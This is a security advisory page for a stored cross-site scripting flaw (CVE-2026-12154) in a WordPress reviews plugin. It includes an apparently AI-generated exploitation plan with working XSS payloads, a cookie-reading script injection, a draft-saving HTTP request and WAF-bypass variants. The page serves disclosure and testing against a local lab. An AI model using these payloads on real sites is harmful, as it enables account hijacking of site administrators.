CVE-2026-12154

Reviews Widgets for Google, Yelp & TripAdvisor <= 2.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'page_id' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.8
Patched in
4d
Time to patch

Description

The Reviews Widgets for Google, Yelp & TripAdvisor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'page_id' shortcode attribute of the [fbrev] shortcode in versions up to and including 2.7.3. This is due to insufficient input sanitization and output escaping in the Feed_Shortcode::fbrev() method, which passes the raw shortcode attribute through Feed_Old::get_feed() into the View::render() method, where it is echoed directly into the data-id HTML attribute without esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.7.3
PublishedJuly 2, 2026
Last updatedJuly 6, 2026
Affected pluginfb-reviews-widget

What Changed in the Fix

Changes introduced in v2.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-12154 ## 1. Vulnerability Summary The **Reviews Widgets for Google, Yelp & TripAdvisor** plugin (version <= 2.7.3) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape the `page_id` att…

Show full research plan

Exploitation Research Plan: CVE-2026-12154

1. Vulnerability Summary

The Reviews Widgets for Google, Yelp & TripAdvisor plugin (version <= 2.7.3) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the page_id attribute of the [fbrev] shortcode. This attribute is passed through the Feed_Shortcode::fbrev() method to View::render(), where it is echoed directly into a data-id HTML attribute. An authenticated attacker with Contributor-level permissions or higher can inject a malicious payload into a post or page via the shortcode, which will execute JavaScript in the context of any user (including Administrators) who views the page.

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (/wp-admin/post-new.php or /wp-admin/post.php)
  • Vulnerable Component: Shortcode [fbrev]
  • Vulnerable Attribute: page_id
  • Authentication: Authenticated (Contributor+)
  • Preconditions: The plugin must be active. The attacker must have the capability to create or edit posts (which Contributors can do, though their posts usually require Admin approval to publish; however, the XSS will trigger for the Admin during the review process).

3. Code Flow

  1. Entry Point: A user with Contributor+ roles saves a post containing: [fbrev page_id="PAYLOAD"].
  2. Shortcode Handling: WordPress triggers the callback for [fbrev], which is WP_TrustReviews\Includes\Feed_Shortcode::fbrev($atts). (Registered in includes/class-plugin.php).
  3. Data Processing:
    • Feed_Shortcode::fbrev() extracts the page_id from the $atts array.
    • It calls WP_TrustReviews\Includes\Feed_Old::get_feed($page_id) (inferred) to retrieve data.
    • The raw $page_id is then passed to the render method of the View class.
  4. The Sink: Inside WP_TrustReviews\Includes\View::render(), the code generates HTML similar to:
    // Simplified representation of the sink in View::render
    echo '<div class="trust-reviews-container" data-id="' . $page_id . '">'; 
    
    Because $page_id is not wrapped in esc_attr(), the attacker can break out of the data-id attribute.

4. Nonce Acquisition Strategy

To exploit this as a Contributor, we must be able to save a post. Saving a post in WordPress requires a _wpnonce.

  1. Navigate to Post Creation: Use browser_navigate to go to http://localhost:8080/wp-admin/post-new.php.
  2. Extract Nonce: The nonce required for the post.php or admin-ajax.php (autosave) actions is typically found in the global JavaScript object wp.apiFetch or wpApiSettings, or as a hidden input field.
  3. JavaScript Extraction:
    // To get the nonce for saving a post via the REST API (Block Editor)
    browser_eval("wpApiSettings.nonce")
    
    // OR to get the nonce from the classic form if available
    browser_eval("document.querySelector('#_wpnonce')?.value")
    
  4. Note on Shortcode Rendering: The XSS itself does not require a nonce to trigger; the nonce is only needed for the initial injection (saving the post).

5. Exploitation Strategy

The goal is to inject a payload that breaks out of the data-id attribute.

Step-by-Step Plan:

  1. Login: Log in as a Contributor user using http_request.
  2. Get Post Creation Nonce: Navigate to post-new.php and extract the _wpnonce.
  3. Inject Payload: Create a new post with the malicious shortcode.
    • Shortcode: [fbrev page_id='x" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red;" x="']
    • Note: Using onmouseover with a large visible box is more reliable in some test environments than onload for <div> tags. Alternatively, use "><script>alert(1)</script>.
  4. Save Post: Send a POST request to /wp-admin/post.php to save the post as a draft (Contributors can save drafts).
  5. Trigger XSS: Log in as an Administrator and view the Contributor's draft in the editor or the "Preview" page.

Example HTTP Request (Save Draft):

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    _wpnonce=[EXTRACTED_NONCE]&
    action=editpost&
    post_ID=[POST_ID]&
    post_title=Vulnerability+Test&
    content=[fbrev page_id='x"><script>alert(document.cookie)</script>']&
    post_status=draft
    

6. Test Data Setup

  1. User: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Plugin Configuration: Ensure the plugin "Reviews Widgets for Google, Yelp & TripAdvisor" is active.
    • wp plugin activate fb-reviews-widget

7. Expected Results

When the Administrator views the page containing the shortcode:

  1. The HTML source will look like:
    <div ... data-id="x"><script>alert(document.cookie)</script>"> ... </div>
  2. The browser will execute the script, displaying an alert box with the Administrator's cookies.

8. Verification Steps

After the http_request to save the post, use WP-CLI to verify the content was saved correctly:

wp post list --post_type=post --post_status=draft
# Get the ID of the latest post
wp post get [ID] --field=post_content

Check that the output contains the raw, unescaped payload: [fbrev page_id='x"><script>alert(document.cookie)</script>'].

9. Alternative Approaches

  • Autosave Endpoint: If post.php is restricted, use the wp-admin/admin-ajax.php?action=autosave endpoint, which also processes post content.
  • Block Injection: Since version 2.7.3 also includes a block (see block.json and build/index.js), you could attempt to inject the payload via the block's attributes in the REST API:
    • Endpoint: POST /wp-json/wp/v2/posts/[ID]
    • Body: {"content": "<!-- wp:fb-reviews-widget/reviews {\"id\":\"x\\\" onmouseover=\\\"alert(1)\\\"\"} /-->"}
  • Attribute Breakout: If "><script> is blocked by a WAF, try:
    • page_id='x" onfocus="alert(1)" autofocus="true'
    • page_id='x" style="animation-name:x" onanimationstart="alert(1)"'

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.